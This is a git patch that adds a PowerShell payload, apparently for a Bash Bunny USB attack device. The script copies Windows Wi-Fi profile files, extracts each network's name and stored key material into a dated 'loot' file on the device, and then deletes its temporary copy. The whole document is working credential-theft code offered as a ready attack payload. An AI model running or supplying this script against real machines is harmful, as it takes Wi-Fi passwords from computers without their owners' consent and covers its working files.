From 9eda9728d0925275f8ee39c8b11ae15f79f998d2 Mon Sep 17 00:00:00 2001 From: KryptoKola <119087357+KryptoKola@users.noreply.github.com> Date: Tue, 27 Dec 2022 02:55:30 -0500 Subject: [PATCH] Get-Hashes Script --- .../recon/WiFi-Hash-Scraper/Get-Hashes.ps1 | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 payloads/library/recon/WiFi-Hash-Scraper/Get-Hashes.ps1 diff --git a/payloads/library/recon/WiFi-Hash-Scraper/Get-Hashes.ps1 b/payloads/library/recon/WiFi-Hash-Scraper/Get-Hashes.ps1 new file mode 100644 index 00000000..1f56aaf5 --- /dev/null +++ b/payloads/library/recon/WiFi-Hash-Scraper/Get-Hashes.ps1 @@ -0,0 +1,22 @@ +#Wi-Fi Information Scraper +cd "~"; +$tDate = Get-Date -Format "MM-dd-yyyy"; +$vol = Get-Volume -FileSystemLabel BashBunny; +$baseDir = $vol.DriveLetter + ":/loot/WiFi-Hash-Scraper/" + $tDate; +$interfaceDir = $baseDir + "/Interfaces"; +$oFile = $baseDir + "/WiFi-Info.txt"; +Copy-Item "C:/ProgramData/Microsoft/Wlansvc/Profiles/Interfaces" "$interfaceDir" -R -Force; +cd $interfaceDir; +$temp = Get-ChildItem | Select-String "{"; +$interfaces = $temp -split "[Environment]::NewLine"; +foreach($iface in $interfaces){ + cd $iface; + $ftemp = Get-ChildItem; + $files = $ftemp -split "[Environment]::NewLine"; + foreach($sNet in $files){ + $temp = cat "$sNet" | Select-String "name";$temp += "";$temp += cat $sNet | Select-String "keyMaterial";echo $temp | Out-File $oFile -Append + } + cd ../; +} +cd "~"; +Remove-Item $interfaceDir -R; \ No newline at end of file